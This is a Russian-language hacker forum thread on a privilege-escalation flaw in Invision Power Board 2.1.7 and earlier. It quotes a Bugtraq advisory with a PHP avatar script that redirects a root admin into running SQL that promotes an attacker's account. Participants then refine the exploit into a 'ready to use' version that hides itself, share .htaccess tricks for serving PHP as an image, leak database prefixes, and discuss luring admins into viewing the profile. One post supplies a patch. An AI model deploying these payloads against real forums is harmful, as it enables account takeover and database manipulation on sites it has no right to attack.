PDA

Просмотр полной версии : sql-inj в ipb <=2.1.7


Digimortal
09.10.2006, 00:31
Итак, в среду на багтраке появилось сообщение об уязвимости IPB <=2.1.7.
Уязвимым оказался скрипт кп админки. Если поставить вместо ссылки на аватару ссылку на пхп-сплоит, то при просмотре админом (это должен быть рут-админ) акка пользователя через контрпанельку имеется возможность выполнить скуль-комманды через IPB's SQL Toolbox.

Вот сам текст с багтрака:

From: Rapigator <rapigator_at_yahoo.com>
Date: Wed, 4 Oct 2006 11:58:38 -0700 (PDT)

Invision Power Board Multiple Vulnerabilities
Affects: IPB <=2.1.7
Risk: High

An attack exists where an admin can be redirected and
forced to execute SQL commands through IPB's SQL
Toolbox.

The following requirements must be met for this attack
to take place:
- The database table prefix must be known
- The admin must have access to the SQL Toolbox (any
"root admin")
- The admin must have images and referers turned on in
their browser, and their browser must follow Location
headers (default behaviour for most browsers)
- The admin must view a malicious script as an image
in their browser.

This attack works invisibly to the admin because only
the image is redirected, not the page.


1st method:
In this method, any user can force the admin to
execute SQL commands.

1. A user sets their avatar to the malicious script's
address
2. The admin looks up the user's account in the Admin
CP
3. The user's avatar is shown and the admin is
redirected....


2nd method:
A restricted admin can add any HTML to a forum's
description(including javascript).

1. A restricted admin adds the malicious script as an
image to a forum's description.
2. Upon going to the "Manage Forums" link in Admin CP,
an unrestricted admin will be redirected and the SQL
will be executed.


Example malicious image script:
<?php

//The member id to promote to root admin
$mid = 145;

//The database prefix (usually "ibf_")
$prefix = "ibf_";

if (preg_match('/(.*adsess=[\\w]{32})/',
$_SERVER['HTTP_REFERER'], $admin_loc) and $mid)
{
header("Location:
".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where +id%3D{$mid}+LIMIT+1");
}

?>

http://seclists.org/bugtraq/2006/Oct/0049.html


Уязвимы версии:
Invision Power Board 2.0.x
Invision Power Board 2.1.0 - 2.1.7
Invision Power Board 2.2 Beta 1

Неуязвимы:
Invision Power Board 2.1.7 (ID: 21013.61005.s)
Invision Power Board 2.2 Beta 2

Делитесь тут мыслями по поводу этой баги. Сам я еще не испытывал..

gemaglabin
09.10.2006, 00:34
Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)

_-[A.M.D]HiM@S-_
09.10.2006, 02:42
Я немогу понять тут $mid = 145; надо прописать id Рута или id свой ???

Qwazar
09.10.2006, 09:11
Судя по "SET mgroup=4" (SET+mgroup%3D4) - свой. (Не помню, вроде 4 это и есть права админа, которые устанавливаются для мембера с mid=$mid).

З.Ы.
Вообще там есть коммент:
//The member id to promote to root admin

(ну это для тех, чей мозговой парсер комменты не пропускает)

Rebz
09.10.2006, 14:32
единственное решение можно предложить - поменять группу админов с 4 на какую-нить другую. Вряд ли злоумышленник (кидис который даже не въехал как работает сплоит, имхо 80% таких) нифига ничего не получит -)

Rebz
09.10.2006, 14:37
Ручное исправление уязвимостей от 05.10.06

Файл ./sources/action_admin/member.php, найти код:
Код

//-----------------------------------------
// Avatar?
//-----------------------------------------

if ( $r['avatar_location'] and $r['avatar_type'] )
{
$avatar = $this->ipsclass->get_avatar( $r['avatar_location'], 1, '25x25', $r['avatar_type'] );

if ( ! strstr( $avatar, 'width=' ) )
{
$avatar = str_replace( '<img', "<img width='25' height='25'", $avatar );
}
}
else
{
$avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";
}


заменить на:
Код

//-----------------------------------------
// Avatar?
//-----------------------------------------

//-----------------------------------------
// SECURITY UPDATE: Removing user avatar
//-----------------------------------------

$avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";


источник:
http://www.ibresource.ru/forums/index.php?showtopic=36607

BMaster
09.10.2006, 19:01
Подскажите что не так пожалуйста:
скрипт выполняется как картинка, т.е http://localhost/g.jpg кажет phpinfo(); ;)

На форуме редактирую профиль, указываю в поле "Введите ссылку на файл вашего аватара" ссылку, потом захожу под руут админом, смотрю профиль юзера тестера, перехода не происходит, и запросы не выполняются, show table; аналогично нигде не выполняется, что не так?
p.s просматривая профиль тестер юзера в админпанеле, тоже редиректа не происходит, даже если правой кнопкой щелкнуть на открыть изображение, запросы не выполняются.

arts
09.10.2006, 21:09
А как картинку с пчп кодом сделать?

BMaster
09.10.2006, 21:29
Переименовать пхп файл, в *.jpg gif..
в .htaccess добавить
<Files "u.jpg">
AddType application/x-httpd-php .jpg
</Files>
либо на край в httpd.conf добавить к application/x-httpd-php тип .jpg :)

Qwazar
10.10.2006, 09:59
Сам не пробовал, но если то что написано тут:

Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)

является правдой, то, если я не ошибаюсь, нужно использовать curl, пример:


<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_exec ($ch);
curl_close ($ch);
?>

BMaster
10.10.2006, 18:50
Разобрался я с этим експлойтом, прет кук из админпанели и добавляет к нему запрос сэквел, мне понравилось :)
У кого что то не получается расскажу что нужно сделать чтобы получилось :)
Как сделать чтобы скрыть под avatar.jpg пхп скрипт думаю ясно, но скопировав предоставленный эксплойт и даже подставив нужные значения, ничего не выйдет, там есть небольшая хитрость (может просто случайность) в строке:
header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where +id%3D{$mid}+LIMIT+1");
Нужно удалить лишний знак табуляции и выровнять строку так:
lheader("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where +id%3D{$mid}+LIMIT+1");
:)
Заодно предоставлю следующий вариант, чтобы у админов не вызывал подозрения не отображающийся аватар, допишем строчку в сплойт (сплойт готовый к употреблению):
<?php
$mid = 2;
if (preg_match('/(.*adsess=[\\w]{32})/', $_SERVER['HTTP_REFERER'], $admin_loc) and $mid)
{ header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+ibf_members+SET+posts%3D12897+WHERE+i d%3D2"); }
else { header("Location: http://forum.xxx/forum/uploads/av-xx.jpg"); }
?>
Тестировочный сплойт, который станавливает юзеру с id=2 количество постов 12897, чтобы получить права админа вставляем запрос из официального сплойта :)
Сработает только тогда, когда админ посмотрит профиль юзера из Админпанели :)
p.s Если админ посмотри профиль в браузере konqueror вас ждет разочарование :)

Nekt
14.10.2006, 03:25
Все происходит на локалке. ;)
Ну я закачал обычную аватару, изменил на пхп код, смотрю админом картику... Ноль не чего, и я тута решил дожлно отображатьса инфа о пхп, и тута я поменял код... Снова ноль ! Что я тока не пробывал. Помогите, а? :mad:

BMaster
19.10.2006, 00:50
Вообщем сделал видео с небольши но:
Так как не одного дельного совета не было:

http://forum.antichat.ru/threadnav17208-2-10.html

Видео на 40 мег в раре, само занимает 70 мег, идет 19 минут.
Это полная версия, и соостветственно кто хочет качает, кто не хочет не качает :)

Немногим позже подготовлю порезанную версию, т.е просто вырежу кадры где например у меня довольно долго рестартится сервер, из за требовательных ресурсов
xvidcap, то как набираю там текст к комментариям...
Просто останутся основные кадры, смысл не потеряется :)

http://rapidshare.de/files/37256566/sql_inj_ipb_2.1.7_and_early_from_BMaster_Full_vers ion.rar

в ссылке убрать пробел в слове version хз откуда он там :)
AVI, 1022 x 766, 7.00 fps, video: Microsoft MPEG-4 v2

p.s Видео демонстрирует уязвимость форума, который находится на localhost, и соответственно хост тоже локальный.
p.p.s имхо camstudio вроде тоже не может захватывать без кодирования, он тоже использует компрессор по дефолту microsoft video 1.
т.о если это так, то факи написаны немного не точно :)

_-[A.M.D]HiM@S-_
23.10.2006, 01:25
Вот переснял видео для деалапщиков :
_http://kolokol.ho.com.ua/video/ibp.2.1.7.rar

BMaster
23.10.2006, 14:23
Вообщем качество/размер лучше этого не могу подобрать, обрезать ничего не стал, просто пожал немного.

http://rapidshare.com/files/343881/sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar

8мег.
Хостингов для помощи использования этой уязвимости много, fatal.ru тому пример, недавно тестил, все работает.
.htaccess если нет, то создаем.

Konstant!n
24.10.2006, 16:12
Если можно выложите файл .htacces как он должен выглядеть!
заранее спасибо.

_-[A.M.D]HiM@S-_
24.10.2006, 16:27
Если можно выложите файл .htacces как он должен выглядеть!
заранее спасибо.


в .htaccess добавить
<Files "u.jpg">
AddType application/x-httpd-php .jpg
</Files>

BMaster
26.10.2006, 16:24
Вы о чем?
Н чужом хосте отредактировать файл .htaccess можно запросто, если ты зарегистрировал свой сайт на предоставляющем тебе хостинг сайте :)
А если не зарегистрировал то конечно никак не отредактируешь :)

Если кто так и не понял... НЕ На форуме, который вы хотите протестировать/хакнуть, НЕ на сервере на котором находится этот форум НИЧЕГО создавать, редактировать кроме как профиля своего юзера НЕ нужно.

Ищите в нете хостинг платный/бесплатный/поднимаете свой/... который поддерживает php и где есть поддержка .htaccess файлов...
Пример для незнающих fatal.ru и все, больше ничего не нужно.

_-[A.M.D]HiM@S-_
26.10.2006, 21:37
Некотрые регят себе сайт на хостинге бесплатном при этом незная что за такой файлик : .htaccess

Ksander
26.10.2006, 21:51
HiM@S-_']Некотрые регят себе сайт на хостинге бесплатном при этом незная что за такой файлик : .htaccess


.htaccess – это файл, который дает возможность конфигурировать работу сервера в отдельных директориях (папках), не предоставляя доступа к главному конфигурационному файлу. Например, устанавливать права доступа к файлам в директории, менять названия индексных файлов, самостоятельно обрабатывать ошибки Apache, перенаправляя посетителей на специальные страницы ошибок.

Vilen
27.10.2006, 02:43
нда, одну проблему решили, теперь блин попробуй заставь админа навести на твой аватар.
вопрос таков :
он навести должен на твой аватар ?
глянуть твою тему просто с твоим аватаром ?
или как вообще ? :)

_-[A.M.D]HiM@S-_
27.10.2006, 03:06
нда, одну проблему решили, теперь блин попробуй заставь админа навести на твой аватар.
вопрос таков :
он навести должен на твой аватар ?
глянуть твою тему просто с твоим аватаром ?
или как вообще ? :)
_http://rapidshare.com/files/343881/sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar

Vilen
27.10.2006, 04:24
Значит надо чтобы админ проссмотрел твой профиль из админки.
Но почему то у меня из мозилы не пахало. Из оперы и ИЕ всё гуд.
Да насчёт подписи, я бы в админку не лез, я бы прямо с форуме убрал бы её ;)

Serafim
27.10.2006, 15:12
Есть форум...Аву по урл нельзя вставлять только можно грузить с компа,а вот фотку можно...Вопрос можно ли через фото это зделать или только через аватар?А и ище момент: Файли должен бить на своём форуме ипб?И имейдж тоже должен с ипб быть?

_-[A.M.D]HiM@S-_
27.10.2006, 19:11
Есть форум...Аву по урл нельзя вставлять только можно грузить с компа,а вот фотку можно...Вопрос можно ли через фото это зделать или только через аватар?А и ище момент: Файли должен бить на своём форуме ипб?И имейдж тоже должен с ипб быть?
Помойму с компа тебе неудаться загрузить аватарку с содержимым.Форум проверяет аватар на наличее вредноносного кода :)

Серёга2
27.10.2006, 20:34
Если кто так и не понял... НЕ На форуме, который вы хотите протестировать/хакнуть, НЕ на сервере на котором находится этот форум НИЧЕГО создавать, редактировать кроме как профиля своего юзера НЕ нужно.

сам же сказал что .htaccess надо
к тому же если права грамотно стоят, то не прокатит

CaH9
27.10.2006, 20:35
я брал код с сайта где можно через url и вставлял его на место того где незя , ток там адресс сайта в коде менял и все ок было !

Serafim
30.10.2006, 20:19
HiM@S-_']Помойму с компа тебе неудаться загрузить аватарку с содержимым.Форум проверяет аватар на наличее вредноносного кода :)Уже протестил и понял :) А вот насчет "Момента"? :)

bxN5
30.10.2006, 20:55
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.

}{0TT@БЬ)Ч
30.10.2006, 22:20
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.

Dala$$ разницы нет на чем показывать все одинакого.Если что то не получилось спрашивай поможем.

}{0TT@БЬ)Ч
31.10.2006, 21:42
Fr-Ron а .htaccess создавал?

Twister
31.10.2006, 22:14
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.
Этож геморойство, админ может только на след. день заглянуть на форум, тем более в админ. панель

nightmare007
31.10.2006, 22:24
народ...кто нить, перезалейте sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar на каконибуть другой сервак ...чото с рапидой траблы

Little_W
31.10.2006, 22:40
народ...кто нить, перезалейте sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar на каконибуть другой сервак ...чото с рапидой траблы
http://www.rapidshare.ru/88941

Fr-Ron
01.11.2006, 16:53
Fr-Ron а .htaccess создавал?

На локалке он есть от апача, но я его не менял даже.
А на ИБП ведь кроме проифя ниче юзать не надо...

}{0TT@БЬ)Ч
02.11.2006, 00:03
Fr-Ron правельно на взлаемом форуме ничего кроме профеля менять не надо НО надо разместить свою аватарку на бесплатном/платном хостинге и там уже создавать файл .htaccess.

Nekt
03.11.2006, 20:52
Попробуй измени на красную подпись аватары и 7 шрифт. Иногда прокатывает, моно еще
как нить поиздеваться, типа хочу модером, или ...
Таких вариантов многов, но конечно нуна зарегать новый аккуант и написать куча всего что-бы не показаться страннымю

Tflash
07.11.2006, 17:50
Возникает законный вопрос: как узнать префикс базы данных?

Fr-Ron
07.11.2006, 17:53
Tflash

/forum/index.php?act=Online&st=-1

А там уж смотришь:
.......FROM ibf_sessions.........

}{0TT@БЬ)Ч
08.11.2006, 01:36
Баг заключается в недостаточной фильтрации переменной st в списке "кто онлайн"
С уязвимости в параметре st вроде тока можно поиметь раскрытие префикса БД.

Tflash
08.11.2006, 11:01
Tflash

/forum/index.php?act=Online&st=-1

А там уж смотришь:
.......FROM ibf_sessions.........
хм странно, на локал хосте работает, но ни на одном нужном форуме в глобале - нет...
Да еще один глупый вопрос: возможно ли переименовать таблицу members в что-нить другое и если можно как ее узнать?

KSURi
08.11.2006, 17:31
хм странно, на локал хосте работает, но ни на одном нужном форуме в глобале - нет...
Да еще один глупый вопрос: возможно ли переименовать таблицу members в что-нить другое и если можно как ее узнать?
http://forum.web-hack.ru/index.php?showtopic=23453&st=-2

~Lexx~
11.11.2006, 14:33
Люди помогите пожалуста... Какие еще сервы позволяют редактировать .htaccess?
а то с этими че та сплошные траблы

_-[A.M.D]HiM@S-_
11.11.2006, 15:44
Люди помогите пожалуста... Какие еще сервы позволяют редактировать .htaccess?
а то с этими че та сплошные траблы
http://www.creater.ru/index.php?tid=90&&a=dwnld&script_id=1030

------------------------------------------------------------------

Grey: тема закрыта, все сообщения не имеющие информационной ценности удалены, ссылка на тему добавлена в тему [Обзор уязвимостей Ipb].